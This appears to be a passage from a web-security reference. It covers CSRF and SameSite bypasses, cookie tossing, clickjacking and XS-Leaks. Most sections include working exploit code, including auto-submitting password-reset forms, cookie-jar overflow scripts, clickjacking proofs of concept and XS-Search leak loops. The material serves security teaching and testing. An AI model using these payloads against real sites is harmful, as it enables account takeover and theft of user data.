Because this movement is still in progress, there are some 'Heuristics based exceptions' to these rules that make cookies behave like before. This is to prevent certain authentication flows from breaking and includes the following bypass (it's not supposed to be a security feature).

For both [Chromium Heuristics](https://developers.google.com/privacy-sandbox/3pcd/temporary-exceptions/heuristics-based-exceptions) and [Firefox Heuristics](https://developer.mozilla.org/en-US/docs/Web/Privacy/State_Partitioning#storage_access_heuristics), `window.open()` the target site and receive **an interaction on the popup**, whitelisting your site for 30 days for to access the target's third-party cookies from your site that opened it.\
On Firefox, this should give a small warning message in the Console indicating it was successful:

> Storage access automatically granted for origin "<https://target.tld>" on "<https://attacker.com>".

Now, future requests from `https://attacker.com` to `https://target.tld` should contain the victim's `SameSite=None` cookies.

{% hint style="info" %}
**Tip**: For testing, you can manually disable these protections in Chromium with the ![](/files/aETZb0wQK8If2IvlKpCS) icon, and in Firefox with the blue ![](/files/TcAqtXJtbVayKCdvsLiH) icon, both in the address bar for affected sites.
{% endhint %}

### Attack Examples

To get a more practical idea of these protections, here are some examples of what is and isn't allowed in modern browsers. Firstly, some practical examples of how an attacker's site can send POST data to another site if it is misconfigured:

{% code title="Using <form> (top-level)" overflow="wrap" %}

```html
<form id=form action="https://example.com/reset_password" method="POST" enctype="application/x-www-form-urlencoded">
    <input type="text" name="password" value="hacked">
</form>
<script>
    // Automatically submit
    form.submit();
</script>
```

{% endcode %}

{% code title="Using fetch() (background)" %}

```html
<script>
    fetch('https://example.com/reset_password', {
        method: 'POST',
        mode: 'no-cors',  // Prevent preflight request or errors
        credentials: 'include',  // Include cookies if allowed
        headers: {  // Parse body as form submission
            "Content-Type": "application/x-www-form-urlencoded"
        },
        body: 'password=hacked',
    })
</script>
```

{% endcode %}

Here both methods can achieve the same requests, but notice that one is top-level, while the other is not. The `<form>` method will work when the SameSite attribute is missing in Chromium-based browsers for the first 2 minutes of the cookie being set, as well as bypassing [#third-party-cookie-protections](#third-party-cookie-protections "mention") automatically. The `fetch()` method is more hidden but has more preconditions.

With the `fetch()` method you can completely control the body data while using a `<form>` this is done for you depending on the `Content-Type` header (`enctype=` in HTML).\
This type can be changed to one of three values, which all have different formats. The `text/plain` type may be interesting if a server expects the `application/json` type which is normally impossible, but also accepts this as an alternative. Here are all three:

{% code title="application/x-www-form-urlencoded" %}

```clike
name1=value1&name2=value2
```

{% endcode %}

{% code title="multipart/form-data" %}

```clike
------WebKitFormBoundaryS9COBpBA97fjAsLJ
Content-Disposition: form-data; name="name1"

value1
------WebKitFormBoundaryS9COBpBA97fjAsLJ
Content-Disposition: form-data; name="name2"

value2
------WebKitFormBoundaryS9COBpBA97fjAsLJ--
```

{% endcode %}

{% code title="text/plain" %}

```clike
name1=value1
name2=value2
```

{% endcode %}

#### Sending files

One tricky exploit is if you need to **upload a file** **through CSRF**. This is normally a manual action of selecting a file from the filesystem, but can actually be fully automated in JavaScript using [`FormData`](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest_API/Using_FormData_Objects).

```javascript
const formData = new FormData();

const content = '<img src onerror=alert(origin)>';
// const content = new Uint8Array([65, 66, 67, 68]);  // bytes
const blob = new Blob([content], { type: "text/html" });
formData.append("file", blob, "exploit.html");

fetch("https://example.com/upload", {
  method: "POST",
  body: formData,
});
```

This is also possible to do top-level with a `<form>`:

```html
<form id="form" action="https://example.com/upload" method="post" enctype="multipart/form-data">
  <input type="file" name="file">
</form>
<script>
  const content = '<img src onerror=alert(origin)>';
  //const content = new Uint8Array([65, 66, 67, 68]);  // bytes
  let file = new File([content], "exploit.html", { type: "text/html" });

  let transfer = new DataTransfer();
  transfer.items.add(file);
  
  form.file.files = transfer.files;
  form.submit();
</script>
```

#### `SameSite=`<mark style="color:red;">`Strict`</mark>: bypassing using client-side redirect

As mentioned earlier, the SameSite protection only prevents cross-*site* requests. If you can create a fake form or have JavaScript execution on a **sibling domain or different port**, this bypasses the restriction.

If this is not possible, there is [another interesting method](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions#bypassing-samesite-restrictions-using-on-site-gadgets). It's impossible to send an authenticated request from your own site, so why not try to send a request from the site you are already targeting? Any requests like **client-side redirects** will be **authenticated** because you are on the same site. For this to work the target endpoint that you want to execute, such as `/reset_password`, will need to allow GET requests with parameters. In a very flexible framework, this behavior might be common as query and body parameters are merged.

Take the following gadget, which allows an unauthenticated client-side redirect using a parameter:

{% code title="Client-side redirect" %}

```javascript
// Redirect '?postId=42' to '/post/42'
const postId = new URL(location).searchParams.get("postId");
location = "/post/" + postId;
```

{% endcode %}

Note that while this is in a GET response, an unauthenticated POST response might also have a gadget like this to abuse. We can send such a request using the `<form>` technique from above.

This gadget can be abused because after redirecting to this location from our malicious site, the next redirect will be authenticated as it is coming from the same site. Using a directory traversal sequence in the `?postId=` query parameter we can make it redirect to the vulnerable state-changing GET endpoint that was our initial target, and it will be authenticated with Cookies:

{% code title="Exploit URL" %}

```python
https://example.com/post?postId=../reset_password%3Fpassword%3Dhacked
```

{% endcode %}

#### `SameSite=`<mark style="color:blue;">`Lax`</mark>: method override

If you find a state-changing GET request or can trick the server into thinking a GET request is a POST request, you may still find impact. With backends like *PHP Symfony* that have an extra `?_method=POST` parameter that can be set in a regular GET request to override the method internally:

{% code title="Exploit URL" %}

```python
https://example.com/reset_password?_method=POST&password=hacked
```

{% endcode %}

#### `SameSite=`<mark style="color:red;">`None`</mark>: Background requests

With this SameSite attribute, the cookie is treated as before SameSite was implemented. This means any techniques like the `<form>` or `fetch()` will work and send cookies using any request method. In such cases, you should check if any CSRF tokens are required; if not, there's a good chance you can make any victim send any state-changing request when they visit your site.

#### `SameSite` is <mark style="color:yellow;">**missing**</mark>: `None` or abusing the 2-minute window

Remember that *Firefox*, a major browser, still defaults to `SameSite=None` when a cookie misses this attribute. On *Chromium* browsers, it will still allow top-level POST requests for 2 minutes after the cookie is set, before fully committing to `SameSite=Lax`.

This behavior has a small chance of a victim just having logged in being exploitable. This is pretty unlikely, but a more powerful way to use this is if the site allows **resetting the cookie**. When it is set again by opening a new tab from your site, the timer is also reset and a CSRF is possible.

{% code title="Exploit HTML" %}

```html
<form id=form action="https://example.com/reset_password" method="POST">
    <input type="text" name="password" value="hacked">
</form>
<p>Click anywhere on the page</p>
<script>
    window.onclick = () => {
        // Reset cookie
        window.open('https://example.com/login');
        setTimeout(() => {
            // After it has been reset, CSRF well within the 2-minute window
            form.submit();
        }, 5000);
    }
</script>
```

{% endcode %}

### Multiple top-level requests

In some more complex chains, you may want to initiate multiple CSRF requests that require top-level navigation. The problem is that after redirecting, you no longer have control over the page and cannot start a second request.

[Me and someone else](https://x.com/J0R1AN/status/1842139861295169836) discovered ways around this, for both GET and POST requests:

1. **`GET`** requests can be sent in the background *with SameSite=Lax* cookies by putting them in a `<link rel="prerender" href="...">` tag.
2. **`GET/POST`** requests can be sent as top-level navigations using `<form>` elements that are automatically submitted using `form.submit()`. Most often during CSRF you don't care about the response, only that the request with cookies reaches the server and gets processed.\
   The trick is that you can cancel the navigation quickly after it is started using `window.stop()` or by initiating a different navigation. You will still be on the attacker's page if the browser hasn't received a response yet.\
   The following gist contains reusable proof of concepts for this technique:\
   <https://gist.github.com/JorianWoltjer/b9163fe616319db8fe570b4ef9c02291>

### Cookie Tossing

[This post](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) and [this writeup](https://github.com/google/google-ctf/tree/main/2024/quals/web-game-arcade#subdomain) show examples of this technique. From a subdomain, it is possible to set cookies on all other subdomains. Using the [`Domain=`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#domaindomain-value) attribute from the `xss.example.com` domain you could set a `name=value; domain=.example.com` cookie to add a cookie to all other domains under `example.com`. The only exceptions to this are in the [Public Suffix List](https://publicsuffix.org/list/).

On any subdomain of your target you just need an XSS to be able to set `document.cookie`, a header injection to set `Set-Cookie:` or even an injection in an existing cookie that will allow you to set multiple. If you have input into any cookie that is set through a query string or similar attacker-controlled input, check out these articles to see if you can confuse the parser into injecting new cookies:

* ["Cookie Bugs - Smuggling & Injection"](https://blog.ankursundara.com/cookie-bugs/)
* ["Stealing HttpOnly cookies with the cookie sandwich technique"](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique)
* ["Bypassing WAFs with the phantom $Version cookie"](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie)
* ["Grehack - Another HTML Renderer writeup"](https://mizu.re/post/another-html-renderer)

This ability can lead to all sorts of attacks like Self-XSS becoming exploitable, messing with flows, etc. because a developer may not expect the attacker to have control over the victim's cookies.

Using the [`Path=`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#pathpath-value) cookie attribute, you can even force the cookies to one specific path. The other cookies from the victim will stay active on other pages, potentially leading to complex attacks where different sessions are used for different requests ([more info](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#define_where_cookies_are_sent)).

#### Cookie order

Cookies in the `Cookie:` header are sorted based firstly on `Path=` length, and second on time of creation. This means that any injected cookies after the victim already has a session will be appended to the *end* by default, as they are created later. But by increasing the specificity of the path of your injected cookie, it can be placed *before* the existing cookies, even though it is set later.

This is important because server-side parsers often take the *first* occurrence of a cookie if there are more of the same name. This may let you successfully overwrite its value.

#### Removing cookies

Cookies are stored in the "cookie jar", which has a limited site. Using JavaScript it is possible to set many cookies which will overflow the previous cookies and only keep the overflow once. Then, removing these makes it possible to have a clean session without any cookies. This will allow resetting `httpOnly` cookies, and allow you to overwrite them afterward.

{% code title="Cookie Jar Overflow" %}

```javascript
for (let i = 0; i < 300; i++) {
  document.cookie = `overflow${i}=A; Secure`
}
for (let i = 0; i < 300; i++) {
  document.cookie = `overflow${i}=A; Expires=Thu, 01 Jan 1970 00:00:01 GMT`
}
document.cookie = "new_cookie=value"
```

{% endcode %}

This trick even works same-site, so you can delete cookies from other origins under the same domain:

{% code title="sub.example.com -> example.com" %}

```javascript
for (let i = 0; i < 300; i++) {
  document.cookie = `overflow${i}=A; Domain=.example.com; Secure`
}
for (let i = 0; i < 300; i++) {
  document.cookie = `overflow${i}=A; Domain=.example.com; Expires=Thu, 01 Jan 1970 00:00:01 GMT`
}
```

{% endcode %}

#### `__Host-` prefix

Any cookie prefixed with [`__Host-`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#cookie_prefixes) will be locked to the specific host it was set on, not the site. These cookies need to follow some requirements:

* `Secure` attribute is set and this is a secure origin
* No `Domain=` attribute allowed
* `Path=` is set to `/`

{% hint style="warning" %}
Setting host-prefixed cookies on `localhost` domains doesn't work, experiment with these things on real domains and the DevTools Console to ensure correct behavior. These domains are normally exempt from `Secure` restrictions, but it appears to be [tracked as a bug](https://issues.chromium.org/issues/40196122) in Chrome and not all features will work this way.
{% endhint %}

It only restricts what attributes are set on the cookies, not how they are used afterward. So, all the same rules apply based on the attributes set. For example, these cookies will still be sent in same-site requests from different origins, useful for CSRF vulnerabilities.

One thing that shouldn't be possible is *overwriting* this cookie from a subdomain with Cookie Tossing. This is because the `Domain=` attribute cannot be globally set to `.example.com`, it must be set to the current host. However, this is only true for `__Host-` prefixed cookies. You can imagine that if we are able to confuse the backend cookie parser into reading a regular cookie that we can set, as a cookie with the special prefix, it would bypass this restriction.

In PHP, for example, there was a vulnerability ([GHSA-wpj3-hf5j-x4v4](https://github.com/php/php-src/security/advisories/GHSA-wpj3-hf5j-x4v4)) where certain characters would be replaced with underscores (`_`). By placing these characters in a "regular" cookie, it could be parsed as a host-prefixed cookie by the server.\
There are also tricks possible with *nameless* cookies, such as previously in Werkzeug ([GHSA-px8h-6qxv-m22q](https://github.com/advisories/GHSA-px8h-6qxv-m22q)).

#### Self-XSS exploitation using Path

If a Stored XSS vulnerability is only exploitable from your account with a carefully prepared payload, it's hard to find impact because the victim must be signed into your account for it to trigger. Then, there is no sensitive information to leak or actions to perform.

One possible trick is to *keep sensitive information open* before the attack, and then use a window reference (such as `opener`) with same-origin XSS to leak the already rendered information. Of course this requires some automated way to log the victim into your account, which maybe be using a login form CSRF, or commonly with the last step of OAuth (SSO) authentication where the authentication code gives the user a session if they are redirected to it. This attack chain will look like:

1. From the attacker's site, open a new window. Then redirect the initial window to a page containing sensitive information you want to leak
2. In the new window, perform the login CSRF, likely involving another window needing to be opened
3. From the new window, send the victim now logged in to your account, to the Self-XSS page so it triggers and you have JavaScript execution
4. Read `opener.document.innerHTML` which contains the sensitive information from step 1, which you will be able to read because it is on the same origin

You can't always find impact in only leaking data, sometimes you want to *change* data by sending arbitrary requests with the victim's session. This is more complicated because after the login CSRF, the victim's session will be forgotten.

Originally well explained in ["Turning unexploitable XSS into an account takeover with Matan Berson"](https://www.youtube.com/watch?v=_VGEtJSRkjg), it is possible to use Cookie Tossing techniques to store an XSS that will trigger later. The idea is to use the Self-XSS to first remove all cookies and then add a cookie with a specific path and the attacker's session. Whenever this path is requested, the attacker's session with a prepared XSS payload will be used. This may trigger whenever the victim naturally uses the site again and is logged in to their account, and browses to the path that we stored a cookie on. Or, a second attacker step is needed to redirect the victim to that path later when they are naturally logged in to their account.

[This post](https://vitorfalcao.com/posts/hacking-high-profile-targets/) explains the idea in more detail. In summary, the steps are as follows:

1. Perform a login CSRF to get the victim's browser into the attacker's account
2. Open the Self-XSS which gets you JavaScript control inside the attacker's account
3. Overflow the cookie jar (see [#removing-cookies](#removing-cookies "mention")) to log the victim out again, while still having JavaScript running
4. Set a cookie with the path where the Self-XSS comes from so that only that endpoint will use the attacker's session
5. Let the user naturally log in to their account
6. The victim naturally browses to the Stored XSS payload, or we have to redirect them again. Either way, the XSS will now be in the victim's session so you can make any authenticated requests

<figure><img src="/files/KLc6lE8BOGFfUu1OZxLy" alt=""><figcaption><p>Flow diagram of the attack with different windows</p></figcaption></figure>

### Other cookie attacks

If CSRF attacks are not possible due to protections like [#csrf-tokens](#csrf-tokens "mention"), but the SameSite attribute is still quite forgiving, there are more techniques involving the auto-sending behavior of most cookies. Most involve **references to a window** of the target site being authenticated. This can either be a top-level context using `window.open()` or redirection with `location=`, or a third-party context using `<iframe>`'s.

Here are some examples of how to get window reference containing your target:

<pre class="language-html"><code class="lang-html">&#x3C;script>
    // Blocked by popup-blocker by default, because no interaction triggered it
    window.open("https://example.com");
    // Successfully open a *new tab* of 'example.com' upon clicking anywhere
    let w1;
<strong>    onclick = () => {
</strong><strong>        w1 = window.open("https://example.com");
</strong><strong>        console.log(w1);
</strong><strong>    }
</strong>    // Successfully open a *popup* of 'example.com' upon clicking anywhere
    let w2;
<strong>    onclick = () => {
</strong><strong>        w2 = window.open("https://example.com", '', 'width=100,height=100');
</strong><strong>        console.log(w2);
</strong><strong>    }
</strong>&#x3C;/script>
</code></pre>

#### Clickjacking

{% embed url="<https://portswigger.net/web-security/clickjacking>" %}
Clear explanation of Clickjacking with labs for practice
{% endembed %}

If the target page allows being put into an `<iframe>`, your site above the iframe can put a barely transparent overlay over the frame to trick the user into clicking certain parts of the frame. This technique known as 'clickjacking' requires cookies in a third-party context, and thus `SameSite=None`, but can be very effective if there is enough reason for the user to follow your instructions, like a game or a captcha.

For **multiple clicks** and to make it easier for the victim to click all the required buttons, we can make use of [`clip()`](https://developer.mozilla.org/en-US/docs/Web/CSS/clip) or [`scale()`](https://developer.mozilla.org/en-US/docs/Web/CSS/transform-function/scale) CSS properties on iframes. This allows the attack to position the button under the user's mouse cursor always.

{% code title="Vulnerable example" %}

```html
<h1>Target</h1>
<button onclick="step2.style.display = 'unset'">Step 1</button>
<button id="step2" onclick="step3.style.display = 'unset'" style="display: none">Step 2</button>
<button id="step3" onclick="step4.style.display = 'unset'" style="display: none">Step 3</button>
<button id="step4" onclick="alert()" style="display: none">Step 4</button>l
```

{% endcode %}

Below are two configurable proof of concept's that achieve the same effect: click anywhere to continue to the next step. Use [`.getBoundingClientRect()`](https://developer.mozilla.org/en-US/docs/Web/API/Element/getBoundingClientRect) in your DevTools on the target page to get the coordinates of certain buttons into the `positions` array, and resize the iframe's `width=` to make it consistent.

<details>

<summary>Automatic <code>clip()</code> PoC</summary>

<figure><img src="/files/l4pV3WPjjhKrWCSuv8fb" alt=""><figcaption><p>Recording of proof of concept with <code>0.5</code> opacity for debugging</p></figcaption></figure>

```html
<h1>Clickjacking PoC using clip()</h1>
<p id="hint"></p>
<iframe id="iframe" width="320px" src="http://127.0.0.1:8000/target.html"></iframe>
<script>
  const steps = [
    // .getBoundingClientRect()
    { pos: [8, 66], size: [54, 21] },
    { pos: [66, 66], size: [54, 21] },
    { pos: [125, 66], size: [54, 21] },
    { pos: [183, 66], size: [54, 21] },
  ];
  let i = 0;
  let mouse = [0, 0];

  function resizeToStep(i) {
    const step = steps[i];
    if (!step) return;
    iframe.style.transform = `translate(${mouse[0] - step.pos[0] - step.size[0] / 2}px, ${mouse[1] - step.pos[1] - step.size[1] / 2}px)`;
    iframe.style.clip = `rect(${step.pos[1]}px, ${step.pos[0] + step.size[0]}px, ${step.pos[1] + step.size[1]}px, ${step.pos[0]}px)`;
  }
  function updateHint() {
    hint.innerText = `Click ${steps.length} times anywhere (${i}/${steps.length})`;
  }

  onblur = () => {
    setTimeout(() => {
      if (document.activeElement.tagName === "IFRAME") {
        window.focus();
        resizeToStep(++i);
        updateHint();
      }
    }, 100);
  };
  onmousemove = (e) => {
    mouse = [e.clientX, e.clientY];
    resizeToStep(i, e);
  };
  resizeToStep(i);
  updateHint();
</script>
<style>
  iframe {
    position: fixed;
    top: 0;
    left: 0;
    transform-origin: top left;
    border: none;
    opacity: 0;
  }
</style>

```

</details>

<details>

<summary>Automatic <code>scale()</code> PoC</summary>

<figure><img src="/files/wIlyC2TBKSsPln7LqiP3" alt=""><figcaption><p>Recording of proof of concept with <code>0.5</code> opacity for debugging</p></figcaption></figure>

<pre class="language-html"><code class="lang-html">&#x3C;h1>Clickjacking PoC using scale()&#x3C;/h1>
&#x3C;p id="hint">&#x3C;/p>
&#x3C;iframe id="iframe" width="320px" src="http://127.0.0.1:8000/target.html">&#x3C;/iframe>
&#x3C;script>
  const steps = [
    // .getBoundingClientRect()
    { pos: [8, 66], size: [54, 21] },
    { pos: [66, 66], size: [54, 21] },
    { pos: [125, 66], size: [54, 21] },
    { pos: [183, 66], size: [54, 21] },
  ];
  let i = 0;

  function resizeToStep(i) {
    const step = steps[i];
    if (!step) return;
<strong>    iframe.style.transform = `scale(${innerWidth / step.size[0]}, ${innerHeight / step.size[1]}) translate(${-step.pos[0]}px, ${-step.pos[1]}px)`;
</strong>  }
  function updateHint() {
    hint.innerText = `Click ${steps.length} times anywhere (${i}/${steps.length})`;
  }

  onblur = () => {
    setTimeout(() => {
      if (document.activeElement.tagName === "IFRAME") {
        window.focus();
        resizeToStep(++i);
        updateHint();
      }
    }, 100);
  };
  onresize = () => resizeToStep(i);
  resizeToStep(i);
  updateHint();
&#x3C;/script>
&#x3C;style>
  iframe {
    position: fixed;
    top: 0;
    left: 0;
    transform-origin: top left;
    border: none;
    opacity: 0;  /* For debugging, increase this to see the target */
  }
&#x3C;/style>

</code></pre>

</details>

Instead of clicks, this technique can go even further with overwriting clipboard/drag data to make the user unintentionally fill in forms, or carefully show parts of the iframe to make the user re-type what is on their screen back to you.

The [`dataTransfer`](https://developer.mozilla.org/en-US/docs/Web/API/DragEvent/dataTransfer) property allows you to alter data after it is dragged. This makes it easy to make a proof of concept where the victim drags a certain text into a field.

<pre class="language-html"><code class="lang-html">&#x3C;img src="https://picsum.photos/200/300">
&#x3C;script>
  // When the user drags the image
  ondragstart = () => {
    event.dataTransfer.clearData();
    // Replace the data on the cursor, so when dropped, writes this text
<strong>    event.dataTransfer.setData("text/plain", `&#x3C;img src onerror=alert(origin)>`);
</strong>  }
&#x3C;/script>
</code></pre>

{% hint style="info" %}
**Note**: you cannot drag into cross-origin iframes, it must be another tab or popup window.
{% endhint %}

#### [XS-Leaks](https://xsleaks.dev/)

XS-Leaks are a more recently developed attack surface that can go very deep. The idea is to abuse your window reference or probe the requests to the target site in order to leak some information about the response. A common exploit for this is detecting if something exists, like a private project URL or query result. By repeating leaks for search functionality, you can find strings included in the response slowly to exfiltrate data from a response cross-site (called 'XS-Search').

#### [postMessage Exploitation](/web/client-side/cross-site-scripting-xss/postmessage-exploitation)

{% content-ref url="/pages/BPqAjXuzn7BmE0rGBTC3" %}
[postMessage Exploitation](/web/client-side/cross-site-scripting-xss/postmessage-exploitation)
{% endcontent-ref %}

## Protections

There are many possible protections for CSRF vulnerabilities, and implementations vary a lot. Below are some of the most common and how they may be bypassed.

### CSRF Tokens

However, the reality is slightly more complicated. Because these rules are so lax, most sites implement their own protection: **CSRF Tokens**. These are extra fields on a form that are randomly generated, but attached to the user's session. Whenever a form is submitted, the extra CSRF token field is validated to match the session and only then will it be considered authenticated.\
A malicious site won't know this randomly generated token and therefore cannot make a fake request that includes it. This is assuming however that:

1. This token is *implemented;*
2. This token is *generated securely;*
3. This token is *unique per user*.

{% embed url="<https://portswigger.net/web-security/csrf/bypassing-token-validation>" %}
Explanation of various common mistakes in CSRF tokens, and how to exploit them
{% endembed %}

### Double-Submit Pattern (CSRF Cookies)

The [Double-Submit Pattern](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html#naive-double-submit-cookie-pattern-discouraged) is a solution to CSRF vulnerabilities by adding a random `csrf=` cookie that must match that `csrf=` parameter given in the POST body. An attacker won't know the random value of the cookie set on the victim, so they can't match this in the body.

This protection is however partially flawed because cookies can be set by subdomains too, through [#cookie-tossing](#cookie-tossing "mention"). From any subdomain or different port that you can get XSS on, you may write an arbitrary known `csrf=` cookie on the main domain that you can now match in the body. Note that the order of the cookies may be important, using a more specific path can get your injected cookie to be placed *before* the real cookie in the HTTP request.

Sometimes it is also possible to *inject* cookies through some query parameter or similar, where special characters like `;` or `"` are not escaped. This may allow you to append extra cookies in the returned `Set-Cookie:` header and set specific attributes like `Path:` or `Domain:`, also only needed in any subdomain of the target.

### Referer/Origin header checks

The [`Referer:`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer) header contains the website that the request came from. If on an attacker's page, you redirect to the target website, this header will contain `https://attacker.com` and reveal to the target that this request may be malicious.

This header is not always set the same, however. Using the [`Referrer-Policy:`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy) on an attacker's domain, you can "protect" the attacker's site from leaking its domain to the target. Setting this to `no-referrer` will not send the header, and the target may now trust the request. Alternatively setting it to `unsafe-url` will send the whole URL instead of just the domain, potentially allowing you to confuse the parser trying to check if it is a trusted domain or not. By starting/ending the request with the target domain or replacing the RegEx `.` with any character, for example.

{% embed url="<https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses>" %}
Explaining removing the Referer header and tricking the check
{% endembed %}

[`Origin:`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Origin) is a header used in CORS requests to tell the server where the request came from. To a developer, it would sound logical to use this as CSRF protection because the header won't be sent in same-origin requests, only in cross-origin ones like `fetch("https://example.com/reset_password?password=hacked")`. The problem is that this header won't be sent in all scenarios, such as `<img>` loads:

```html
<img src="https://example.com/reset_password?password=hacked">
```

It also won't be sent in top-level navigations such as using forms, allowing even `SameSite=Lax` cookies to be affected.


# XS-Leaks

Leaking information cross-site often through private search features

{% embed url="<https://xsleaks.dev/>" %}

Cross-Site Leaks (XS-Leaks) are a collection of techniques that allow an attack to infer information of another site. Be it privacy related, or in case of a *private search functionality*, XS-Search to find full strings character-by-character.\
The <https://xsleaks.dev/> wiki collects a bunch of techniques with clear and concise information and should be your first source. Below are some more detailed explanations and ready-made exploits. As well as some techniques not mentioned there.

## Examples

An XS-Leak technique can only return a boolean answer, `true` or `false`. The questions we can ask are important to asses the impact. For example:

* *Is the user currently logged in?* -> By detecting a redirect to the login page
* *Does the user have access to this group?* -> By detecting an access denied page
* *Is there a note containing "a"?* -> By counting the number of iframes in search results

This last idea where we are targeting **search functionality** by far the most powerful, called [XS-Search](https://xsleaks.dev/docs/attacks/xs-search/). This has more than privacy implications because once the attacker guesses one correct character, they can expand their guesses from there to find more and more characters that still match results. In the end all data that the search functionality queries can be leaked.

<pre data-title="XS-Search to find &#x22;cat&#x22;"><code>/search?q=a     -> 0 results
/search?q=b     -> 0 results
<strong>/search?q=c     -> 1 result
</strong><strong>/search?q=ca    -> 1 result
</strong>/search?q=caa   -> 0 results
/search?q=cab   -> 0 results
/search?q=cac   -> 0 results
...
<strong>/search?q=cat   -> 1 result
</strong></code></pre>

Other use cases of XS-Leaks can be found in CSS Injection, where it is used to exfiltrate the result of selectors with a strict CSP ([CSS Injection](/web/client-side/css-injection#xs-leaks-without-network)).

Some techniques require a window reference which can be acquired from calling [`window.open()`](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) or iframing the URL and reading `.contentWindow`. This techniques work without this though, and even bypass [Cross-Origin-Opener-Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Cross-Origin-Opener-Policy).

### [Frame Counting](https://xsleaks.dev/docs/attacks/frame-counting/)

One of the most classic techniques involves the [`window.length`](https://developer.mozilla.org/en-US/docs/Web/API/Window/length) property which is exposed cross-origin. It holds the number of frames inside of a window. This includes `<iframe>` and `<embed>`/`<object>` for some specific `type`s.

<pre class="language-php" data-title="Vulnerable example"><code class="lang-php">&#x3C;?php
$filteredNotes = array_filter($notes, function ($note) {
    return str_contains($note->title, $_GET["q"]);
});

foreach ($filteredNotes as $note): ?>
  &#x3C;h1>&#x3C;?= $note['title'] ?>&#x3C;/h1>
<strong>  &#x3C;iframe src="/note/&#x3C;?= $note['id'] ?>">&#x3C;/iframe>
</strong>&#x3C;?php endforeach; ?>
</code></pre>

The above example generates iframes for each search result. So a successful query will have **more** than an unsuccessful one. We can detect this by opening the search page, waiting for it to load, and checking its `.length`.

<pre class="language-javascript" data-title="Exploit"><code class="lang-javascript">w = window.open();
function sleep(ms) {
  return new Promise(r => setTimeout(r, ms));
}
async function test(prefix) {
  w.location = `http://localhost:8000/search.php?q=${prefix}`;
  await sleep(500);  // ms load time
<strong>  return w.length > 0;
</strong>}
</code></pre>

You can then call this `test()` function with `await` to learn if the logged-in user has a note containing the query. Do this in a loop for every character, expanding the search each time you find a successful result to leak the full string:

{% code title="Exploit" %}

```javascript
const ALPHABET = "{}abcdefghijklmnopqrstuvwxyz_";
let prefix = "s";

while (true) loop: {
  for (const c of ALPHABET) {
    if (await test(prefix + c)) {
      // Found true result
      prefix += c;
      console.log(prefix);
      break loop;
    }
  }
  break;  // If nothing found
}

alert(prefix);
```

{% endcode %}

Alternatively, you may also be able to detect the **negative** result by comparing to `0`:

{% code title="Vulnerable example" %}

```handlebars
{{#each notes}}
  <h1>{{ this.title }}</h1>
{{else}}
  <iframe src="/analytics"></iframe>
{{/each}}
```

{% endcode %}

{% code title="Exploit" %}

```javascript
...
setTimeout(() => {
  resolve(w.length === 0);
}, 500);  // ms load time
```

{% endcode %}

***

To go one step further, you can even count the number of frames **as they load in**. By proving very quickly, you can graph the loading sequence of a successful vs. unsuccessful URL. This can disclose an intermediate difference even if the final count is the same.

{% embed url="<https://lyra.horse/tools/frame-counter/>" %}
Tool to graph frame count over time for 2 URLs compared
{% endembed %}

### [Server-side redirect length](https://xsleaks.dev/docs/attacks/navigations/#inflation-client-side-errors)

If you are server-side redirected to 2 different length URLs depending on if the search was successful or not, this is detectable using the [Max URL Length](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#url-length). If it exceeds 2MB (2097152 characters), the browser will show a failure page at `about:blank#blocked` which is same-origin with the initiator.

{% code title="Vulnerable example" %}

```php
<?php
if (str_contains($secret, $_GET["q"])) {
  header("Location: /redirect-result/true", 302, true);
} else {
  header("Location: /redirect-result/false", 302, true);
}
```

{% endcode %}

This is vulnerable because we can *pad* the length of the URL with a hash fragment (`#`), which are kept across server-side redirects. You have to calculate the amount of padding required to make the shortest of the 2 options barely go through, while the longest gets blocked for going over the limit.

In the above example, `/true` is shorter than `/false`. Then after 2 seconds, we check if it's still same-origin or if it successfully went cross-origin.

<pre class="language-javascript" data-title="Exploit"><code class="lang-javascript">async function test(q) {
  w.location = "about:blank";
  await sleep(100);
  // Try to redirect
<strong>  const padding = (1&#x3C;&#x3C;21) - "https://example.com/redirect-result/true#".length;
</strong><strong>  w.location = "https://example.com/search?" + new URLSearchParams({ q }) + 
</strong><strong>               "#" + "A".repeat(padding);
</strong>  await sleep(2000);  // ms load time with large hash

  try {
<strong>    w.origin;
</strong>    return false;  // about:blank
  } catch {
    return true;  // cross-origin
  }
}
</code></pre>

{% hint style="warning" %}
**Note**: If the initial `/search` URL becomes longer than the maximum with padding, it is impossible to send the request as it will be blocked. Therefore you need the longest of the 2 redirect paths from the server to happen to be longer than the search query.
{% endhint %}

If your target is **iframable** (and cookies are `SameSite=None`), there is a much faster technique possible using the fact that [`onload=`](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/iframe#error_and_load_event_behavior) is triggered cross-origin. We can simply load all possible characters at the same time, and only one should trigger the event because it barely successfully navigated. At this point we know the correct character and can continue on to the next.

This writeup shows an implementation of this technique:

{% embed url="<https://jorianwoltjer.com/blog/p/ctf/intigriti-xss-challenge/1225#6-time-stone>" %}

### Measure top-level load time

It's easy to measure how long it takes to load an iframe using the `onload=` event. But doing so top-level on a site that doesn't allow iframing is harder, although still possible using this trick.

We essentially let it load, and at the same time perform some hashchanges on it, which don't reload the tab. These should insert history entries, but if the target is busy, they may be skipped. Using [`history.length`](https://developer.mozilla.org/en-US/docs/Web/API/History/length) it becomes possible to check how many navigations there were, telling us if the target was busy or not at some specific point in time.

<pre class="language-javascript" data-title="Exploit"><code class="lang-javascript">w = window.open()
async function isSlow(url) {
  const length = w.history.length;
